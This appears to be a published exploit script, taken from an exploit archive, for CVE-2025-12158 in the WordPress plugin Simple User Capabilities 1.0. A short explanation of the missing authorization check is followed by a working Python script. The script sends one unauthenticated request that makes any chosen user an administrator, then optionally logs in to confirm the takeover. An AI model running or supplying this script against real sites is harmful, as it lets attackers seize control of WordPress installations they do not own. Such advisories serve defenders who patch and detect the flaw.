## https://sploitus.com/exploit?id=PACKETSTORM:226425
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Simple User Capabilities <= 1.0 - Unauthenticated Privilege Escalation to Administrator
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/simple-user-capabilities/
# Software Link: https://downloads.wordpress.org/plugin/simple-user-capabilities.1.0.zip
# Version: 1.0 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-12158
"""
Simple User Capabilities <= 1.0 registers the nopriv AJAX action submit_capabilities
(user_access.php:26 wp_ajax_nopriv_submit_capabilities). The handler suc_submit_capabilities() reads
$_REQUEST['targeted_user'] (line 59) and loops attacker-supplied capabilities into $user->add_cap()
(line 82) with NO nonce and NO current_user_can() check anywhere in the function.
An unauthenticated attacker grants any existing user the `administrator` capability in a single
request: POST action=submit_capabilities&targeted_user=<uid>&user_caps[]=administrator
Prior state: plugin active + one target user id (any existing low-priv account; enumerable via the
REST users endpoint or author archives). If open registration is on, the attacker registers first.
"""
import argparse, sys
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--uid", required=True, help="target user id to promote to administrator")
ap.add_argument("--check-user", help="optional login name of --uid to prove login access")
ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
args = ap.parse_args()
base = args.target.rstrip("/")
r = requests.post(base + "/wp-admin/admin-ajax.php",
data={"action": "submit_capabilities", "targeted_user": args.uid,
"user_caps[]": "administrator"}, verify=False, timeout=20)
print(f"[*] Target: {base} | uid {args.uid}")
print(f"[*] submit_capabilities -> HTTP {r.status_code} :: {r.text[:120]}")
if '"error":false' not in r.text:
print("\n[-] request not accepted"); return 1
if args.check_user:
a = requests.Session(); a.verify = False
a.get(base + "/wp-login.php"); a.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
a.post(base + "/wp-login.php", data={"log": args.check_user, "pwd": args.pw,
"wp-submit": "Log In", "redirect_to": base + "/wp-admin/", "testcookie": "1"})
p = a.get(base + "/wp-admin/plugins.php")
if p.status_code == 200 and ("Deactivate" in p.text or "plugin-title" in p.text):
print(f"\n[+] PRIVILEGE ESCALATION CONFIRMED โ user {args.uid} is now administrator "
f"(reached wp-admin/plugins.php).")
return 0
print(f"\n[-] login check failed (plugins.php={p.status_code})"); return 1
print(f"\n[+] PRIVILEGE ESCALATION CONFIRMED โ administrator capability granted to uid {args.uid} "
f"(verify with: wp user get {args.uid} --field=roles).")
return 0
if __name__ == "__main__":
sys.exit(main())